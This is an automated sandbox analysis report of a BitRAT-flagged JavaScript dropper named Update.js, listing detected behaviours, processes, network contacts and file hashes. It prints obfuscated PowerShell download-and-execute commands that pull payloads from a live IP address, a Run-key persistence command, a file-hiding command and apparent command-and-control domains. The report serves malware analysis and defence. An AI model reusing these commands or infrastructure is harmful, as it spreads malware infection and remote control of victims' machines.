Analysis Overview
SHA256
8fe424869272394512941904c4b1ba7039ac2a514acb9861e613f5e85222d9a7
Threat Level: Known bad
The file Update.js was found to be: Known bad.
Malicious Activity Summary
BitRAT
Blocklisted process makes network request
UPX packed file
Adds Run key to start application
Suspicious use of NtSetInformationThreadHideFromDebugger
Suspicious use of SetThreadContext
Enumerates physical storage devices
Suspicious behavior: EnumeratesProcesses
Suspicious use of AdjustPrivilegeToken
Suspicious use of WriteProcessMemory
Views/modifies file attributes
Suspicious use of SetWindowsHookEx
MITRE ATT&CK Matrix V13
Analysis: static1
Detonation Overview
Reported
2024-04-25 15:38
Signatures
Analysis: behavioral1
Detonation Overview
Submitted
2024-04-25 15:38
Reported
2024-04-25 15:41
Platform
win11-20240412-en
Max time kernel
148s
Max time network
150s
Command Line
Signatures
BitRAT
Blocklisted process makes network request
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
UPX packed file
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Adds Run key to start application
| Description | Indicator | Process | Target |
| Set value (str) | \REGISTRY\USER\S-1-5-21-801765966-3955847401-2235691403-1000\Software\Microsoft\Windows\CurrentVersion\Run\Microsoft = "wscript //E:VBScript C:\\Users\\Public\\0x.log //Nologo" | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
Suspicious use of NtSetInformationThreadHideFromDebugger
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe | N/A |
| N/A | N/A | C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe | N/A |
| N/A | N/A | C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe | N/A |
| N/A | N/A | C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe | N/A |
| N/A | N/A | C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe | N/A |
Suspicious use of SetThreadContext
| Description | Indicator | Process | Target |
| PID 888 set thread context of 4076 | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe |
| PID 4660 set thread context of 2060 | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe |
Enumerates physical storage devices
Suspicious behavior: EnumeratesProcesses
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
Suspicious use of AdjustPrivilegeToken
| Description | Indicator | Process | Target |
| Token: SeDebugPrivilege | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| Token: SeDebugPrivilege | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| Token: SeShutdownPrivilege | N/A | C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe | N/A |
Suspicious use of SetWindowsHookEx
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe | N/A |
| N/A | N/A | C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe | N/A |
Suspicious use of WriteProcessMemory
Views/modifies file attributes
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\system32\attrib.exe | N/A |
Processes
C:\Windows\system32\wscript.exe
wscript.exe C:\Users\Admin\AppData\Local\Temp\Update.js
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $c1='(New-Object Net.We'; $c4='bClient).Downlo'; $c3='adString(''http://77.221.151.31/a/z.png'')';$TC=I`E`X ($c1,$c4,$c3 -Join '')|I`E`X
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $c1='(New-Object Net.We'; $c4='bClient).Downlo'; $c3='adString(''http://77.221.151.31/a/s.png'')';$TC=I`E`X ($c1,$c4,$c3 -Join '')|I`E`X
C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe
"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe"
C:\Windows\system32\cmd.exe
"C:\Windows\system32\cmd.exe" /c attrib +h C:\Users\Public\0x.log
C:\Windows\system32\attrib.exe
attrib +h C:\Users\Public\0x.log
C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe
"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe"
C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe
"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe"
Network
| Country | Destination | Domain | Proto |
| RU | 77.221.151.31:80 | 77.221.151.31 | tcp |
| RU | 77.221.151.31:80 | 77.221.151.31 | tcp |
| US | 8.8.8.8:53 | 31.151.221.77.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 8.8.8.8.in-addr.arpa | udp |
| US | 172.67.163.209:443 | strollheavengwu.shop | tcp |
| US | 172.67.150.207:443 | productivelookewr.shop | tcp |
| US | 104.21.89.202:443 | tolerateilusidjukl.shop | tcp |
| US | 8.8.8.8:53 | 209.163.67.172.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 207.150.67.172.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 202.89.21.104.in-addr.arpa | udp |
| US | 172.67.169.43:443 | shatterbreathepsw.shop | tcp |
| US | 104.21.16.225:443 | shortsvelventysjo.shop | tcp |
| US | 104.21.86.106:443 | incredibleextedwj.shop | tcp |
| US | 172.67.157.23:443 | alcojoldwograpciw.shop | tcp |
| US | 172.67.192.138:443 | liabilitynighstjsko.shop | tcp |
| US | 172.67.147.169:443 | demonstationfukewko.shop | tcp |
| RU | 77.221.151.31:4444 | tcp |
Files
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_g4kghkgs.mvm.ps1
| MD5 | d17fe0a3f47be24a6453e9ef58c94641 |
| SHA1 | 6ab83620379fc69f80c0242105ddffd7d98d5d9d |
| SHA256 | 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7 |
| SHA512 | 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82 |
memory/4660-8-0x000001C72A820000-0x000001C72A842000-memory.dmp
memory/4660-17-0x00007FFAA9530000-0x00007FFAA9FF2000-memory.dmp
memory/4660-18-0x000001C742CB0000-0x000001C742CC0000-memory.dmp
memory/888-19-0x00007FFAA9530000-0x00007FFAA9FF2000-memory.dmp
memory/888-20-0x000001A174AD0000-0x000001A174AE0000-memory.dmp
memory/888-21-0x000001A174AD0000-0x000001A174AE0000-memory.dmp
memory/4660-22-0x000001C742CB0000-0x000001C742CC0000-memory.dmp
memory/888-24-0x000001A175230000-0x000001A17523E000-memory.dmp
memory/4076-25-0x0000000000400000-0x000000000044E000-memory.dmp
memory/888-29-0x00007FFAA9530000-0x00007FFAA9FF2000-memory.dmp
memory/4076-30-0x0000000000400000-0x000000000044E000-memory.dmp
memory/4076-31-0x0000000000400000-0x000000000044E000-memory.dmp
C:\Users\Public\0x.log
| MD5 | d2e9de8671fd61605ff5f8b8f3249d6b |
| SHA1 | 38dc0accb9c561c4f2ed9cc565f73a09eb84e81c |
| SHA256 | fcdaa801a02c05faa8e09a1abb75ab4b8b4a57e1d097cc5feb63b95280230e5c |
| SHA512 | 413abbf5eb1a19fec41bbf31cfa524a8c88f049ae624c2b8f8cd40b3dc6ca37b99a45e74cfcb3422bee104e218ebc6b3d38f22b5b9afbd967545aa862b15a106 |
memory/2060-33-0x0000000000400000-0x00000000007D3000-memory.dmp
memory/2060-34-0x0000000000400000-0x00000000007D3000-memory.dmp
memory/2060-35-0x0000000000400000-0x00000000007D3000-memory.dmp
C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
| MD5 | 5f4c933102a824f41e258078e34165a7 |
| SHA1 | d2f9e997b2465d3ae7d91dad8d99b77a2332b6ee |
| SHA256 | d69b7d84970cb04cd069299fd8aa9cef8394999588bead979104dc3cb743b4f2 |
| SHA512 | a7556b2be1a69dbc1f7ff4c1c25581a28cb885c7e1116632c535fee5facaa99067bcead8f02499980f1d999810157d0fc2f9e45c200dee7d379907ef98a6f034 |
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
| MD5 | 9b9c200437ca6453c1a7a66285ebbc98 |
| SHA1 | 238f1e7629bc0c371ba4fa3f0bb335302b21d909 |
| SHA256 | e98bf0b04cdec1745689b16cccbae66f1ad977f178968736dbfc9a8f0f08c5ff |
| SHA512 | 12c183cb8b99867d85a982066629267ce110dccc455a8a62bb1d9175db84aa603ba9a18b7e3fed99d84e94ccffe78af284f7743df46753057bcaefda94c55926 |
memory/2060-39-0x0000000000400000-0x00000000007D3000-memory.dmp
memory/2060-41-0x0000000000400000-0x00000000007D3000-memory.dmp
memory/4660-40-0x00007FFAA9530000-0x00007FFAA9FF2000-memory.dmp
memory/4076-42-0x0000000000400000-0x000000000044E000-memory.dmp
memory/2060-43-0x0000000000400000-0x00000000007D3000-memory.dmp
memory/2060-44-0x0000000074570000-0x00000000745AC000-memory.dmp
memory/2060-45-0x0000000000400000-0x00000000007D3000-memory.dmp
memory/2060-46-0x0000000000400000-0x00000000007D3000-memory.dmp
memory/2060-47-0x0000000000400000-0x00000000007D3000-memory.dmp
memory/2060-48-0x0000000000400000-0x00000000007D3000-memory.dmp
memory/2060-49-0x0000000000400000-0x00000000007D3000-memory.dmp
memory/2060-50-0x0000000000400000-0x00000000007D3000-memory.dmp
memory/2060-51-0x0000000000400000-0x00000000007D3000-memory.dmp
memory/2060-52-0x0000000000400000-0x00000000007D3000-memory.dmp
memory/2060-53-0x0000000000400000-0x00000000007D3000-memory.dmp
memory/2060-54-0x0000000000400000-0x00000000007D3000-memory.dmp
memory/2060-55-0x0000000000400000-0x00000000007D3000-memory.dmp
memory/2060-57-0x0000000000400000-0x00000000007D3000-memory.dmp
memory/2060-58-0x0000000000400000-0x00000000007D3000-memory.dmp
memory/2060-59-0x0000000000400000-0x00000000007D3000-memory.dmp
memory/2060-61-0x0000000000400000-0x00000000007D3000-memory.dmp
memory/2060-60-0x0000000000400000-0x00000000007D3000-memory.dmp
memory/2060-62-0x0000000000400000-0x00000000007D3000-memory.dmp
memory/2060-63-0x0000000000400000-0x00000000007D3000-memory.dmp
memory/2060-64-0x0000000000400000-0x00000000007D3000-memory.dmp
memory/2060-65-0x0000000000400000-0x00000000007D3000-memory.dmp
memory/2060-66-0x0000000000400000-0x00000000007D3000-memory.dmp
memory/2060-67-0x0000000000400000-0x00000000007D3000-memory.dmp
memory/2060-68-0x0000000000400000-0x00000000007D3000-memory.dmp
memory/2060-69-0x0000000000400000-0x00000000007D3000-memory.dmp
memory/2060-70-0x0000000000400000-0x00000000007D3000-memory.dmp
memory/2060-72-0x0000000000400000-0x00000000007D3000-memory.dmp
memory/2060-74-0x0000000000400000-0x00000000007D3000-memory.dmp
memory/2060-75-0x0000000000400000-0x00000000007D3000-memory.dmp
memory/2060-77-0x0000000000400000-0x00000000007D3000-memory.dmp
memory/2060-79-0x0000000000400000-0x00000000007D3000-memory.dmp
memory/2060-81-0x0000000000400000-0x00000000007D3000-memory.dmp
memory/2060-83-0x0000000000400000-0x00000000007D3000-memory.dmp
memory/2060-85-0x0000000000400000-0x00000000007D3000-memory.dmp
memory/2060-86-0x0000000000400000-0x00000000007D3000-memory.dmp
memory/2060-87-0x0000000000400000-0x00000000007D3000-memory.dmp
memory/2060-89-0x0000000000400000-0x00000000007D3000-memory.dmp
memory/2060-90-0x0000000000400000-0x00000000007D3000-memory.dmp
memory/2060-91-0x0000000000400000-0x00000000007D3000-memory.dmp
memory/2060-93-0x0000000000400000-0x00000000007D3000-memory.dmp
memory/2060-94-0x0000000000400000-0x00000000007D3000-memory.dmp
memory/2060-95-0x0000000000400000-0x00000000007D3000-memory.dmp
memory/2060-97-0x0000000000400000-0x00000000007D3000-memory.dmp
memory/2060-99-0x0000000000400000-0x00000000007D3000-memory.dmp
memory/2060-101-0x0000000000400000-0x00000000007D3000-memory.dmp